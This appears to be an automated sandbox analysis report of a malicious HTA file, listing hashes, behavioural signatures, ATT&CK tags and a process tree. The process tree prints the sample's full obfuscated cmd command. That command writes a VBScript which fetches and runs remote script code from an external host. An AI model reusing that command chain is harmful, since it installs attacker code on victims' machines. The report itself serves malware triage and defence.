76bf3c2ff119a63aafd9c6ebc5fe3710f93ddd86a41b84db89dfc92699a251e8

Analysis

max time kernel
444s
max time network
456s
platform
windows10-2004_x64
resource
win10v2004-20230703-es
resource tags

arch:x64arch:x86image:win10v2004-20230703-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
29-08-2023 18:00

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General

Target

OK.hta
Size

28KB
MD5

352e0ed1b070afa3548c6ca407e9e692
SHA1

488d26262c5b975da64f090e7160b23ae3404ea6
SHA256

76bf3c2ff119a63aafd9c6ebc5fe3710f93ddd86a41b84db89dfc92699a251e8
SHA512

40bf5304daf66d42e4f92a4db9dfd5648d60ca5186c3c869b3d6204d768a47f640f4759cd36bc24381fe1eebae58aa8c195d9abf95f7f7153229a82339a4b360
SSDEEP

768:CKNIAZw4qy4m2ZqlmAb6wUH13ghGiqNn6h:CKNIAZw/V+3i3sGiqNq

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	3700	WScript.exe
18	3700	WScript.exe
22	3700	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1043950675-1972537973-2972532878-1000_Classes\Local Settings	cmd.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2736 wrote to memory of 3372	2736	mshta.exe	81
PID 2736 wrote to memory of 3372	2736	mshta.exe	81
PID 2736 wrote to memory of 3372	2736	mshta.exe	81
PID 3372 wrote to memory of 212	3372	cmd.exe	85
PID 3372 wrote to memory of 212	3372	cmd.exe	85
PID 3372 wrote to memory of 212	3372	cmd.exe	85
PID 3372 wrote to memory of 5100	3372	cmd.exe	84
PID 3372 wrote to memory of 5100	3372	cmd.exe	84
PID 3372 wrote to memory of 5100	3372	cmd.exe	84
PID 3372 wrote to memory of 4220	3372	cmd.exe	87
PID 3372 wrote to memory of 4220	3372	cmd.exe	87
PID 3372 wrote to memory of 4220	3372	cmd.exe	87
PID 3372 wrote to memory of 976	3372	cmd.exe	86
PID 3372 wrote to memory of 976	3372	cmd.exe	86
PID 3372 wrote to memory of 976	3372	cmd.exe	86
PID 3372 wrote to memory of 3156	3372	cmd.exe	88
PID 3372 wrote to memory of 3156	3372	cmd.exe	88
PID 3372 wrote to memory of 3156	3372	cmd.exe	88
PID 3156 wrote to memory of 3700	3156	cmd.exe	89
PID 3156 wrote to memory of 3700	3156	cmd.exe	89
PID 3156 wrote to memory of 3700	3156	cmd.exe	89

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\OK.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k echo|set /p=^"xsui=".":rNXHT="i":HuQq="g":XPeImd=":":GetO^">C:\\Users\\Public\\tlIMPQ.vbs&echo|set /p=^"bject("sCr"+rNXHT+"pt"+XPeImd+"hT"+"Tps"+XPeImd+"//caradexana"+xsui+"com//"+HuQq+"1")^">>C:\\Users\\Public\\tlIMPQ.vbs&c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\tlIMPQ.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="xsui=".":rNXHT="i":HuQq="g":XPeImd=":":GetO" 1>C:\\Users\\Public\\tlIMPQ.vbs"
    3⤵
    PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" set /p="bject("sCr"+rNXHT+"pt"+XPeImd+"hT"+"Tps"+XPeImd+"//caradexana"+xsui+"com//"+HuQq+"1")" 1>>C:\\Users\\Public\\tlIMPQ.vbs"
    3⤵
    PID:976
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo"
    3⤵
    PID:4220
- - \??\c:\windows\SysWOW64\cmd.exe
    c:\\windows\\system32\\cmd.exe /c start C:\\Users\\Public\\tlIMPQ.vbs
    3⤵
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Public\tlIMPQ.vbs"
      4⤵
      Blocklisted process makes network request
      PID:3700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\tlIMPQ.vbs

Filesize
128B

MD5
0bafd37d9f6d05f721776bfc398ec71c

SHA1
262a16b7e3fecf1e62c2e0a90230b99609ee48d8

SHA256
5483cd0151d1a0fd369d7af3df051a9e0bb753520cb474d3b1b78e306df33fd2

SHA512
4db6b24deea197c001ffffe9c4ef13a23b4affd7e7c49512debe4cd51fd951db3e34146dfb30ee9f2506ca29f61d3f55c87c97bae8585828912598b89a798910

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C:\Users\Public\tlIMPQ.vbs

Filesize
128B

MD5
0bafd37d9f6d05f721776bfc398ec71c

SHA1
262a16b7e3fecf1e62c2e0a90230b99609ee48d8

SHA256
5483cd0151d1a0fd369d7af3df051a9e0bb753520cb474d3b1b78e306df33fd2

SHA512
4db6b24deea197c001ffffe9c4ef13a23b4affd7e7c49512debe4cd51fd951db3e34146dfb30ee9f2506ca29f61d3f55c87c97bae8585828912598b89a798910

Download Submit